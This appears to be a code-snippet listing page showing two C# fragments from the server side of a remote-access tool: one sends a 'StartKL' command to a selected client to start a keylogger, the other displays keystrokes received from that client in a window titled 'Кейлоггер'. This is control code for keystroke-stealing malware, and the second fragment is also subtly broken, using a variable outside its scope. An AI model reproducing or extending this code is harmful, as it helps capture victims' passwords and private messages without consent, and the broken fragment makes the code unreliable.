Exemple #1
0
 private void Keylogger_Click(object sender, RoutedEventArgs e)
 {
     try
     {
         SettingsServer.MyItem myItem = (SettingsServer.MyItem)dtgClients.SelectedItem;
         MainServer.Send(Convert.ToInt16(myItem.ID), Encoding.UTF8.GetBytes("StartKL"));
         Keylogger K = new Keylogger();
         K.Show();
         K.ConnectionID = Convert.ToInt32(myItem.ID);
         K.Title        = "Кейлоггер - " + myItem.ID;
     }
     catch
     {
     }
 }
Exemple #2
0
        /// <summary>
        /// Updates keylogger
        /// </summary>
        /// <param name="ConnectionId"></param>
        /// <param name="Keystroke"></param>
        public void UpdateKeylogger(int ConnectionId, string Keystroke)
        {
            foreach (Keylogger K in System.Windows.Application.Current.Windows.OfType <Keylogger>())
            {
                if (K.Visibility == Visibility.Visible && K.ConnectionID == ConnectionId && K.Update)
                {
                    K.txtKeylogger.AppendText(Keystroke);
                    K.txtKeylogger.ScrollToEnd();
                    return;
                }
            }

            K = new Keylogger();
            K.Show();
            K.ConnectionID = ConnectionId;
            K.Title        = "Кейлоггер - " + ConnectionId;
            if (K.ConnectionID == ConnectionId)
            {
                K.txtKeylogger.AppendText(Keystroke); K.txtKeylogger.ScrollToEnd();
            }
        }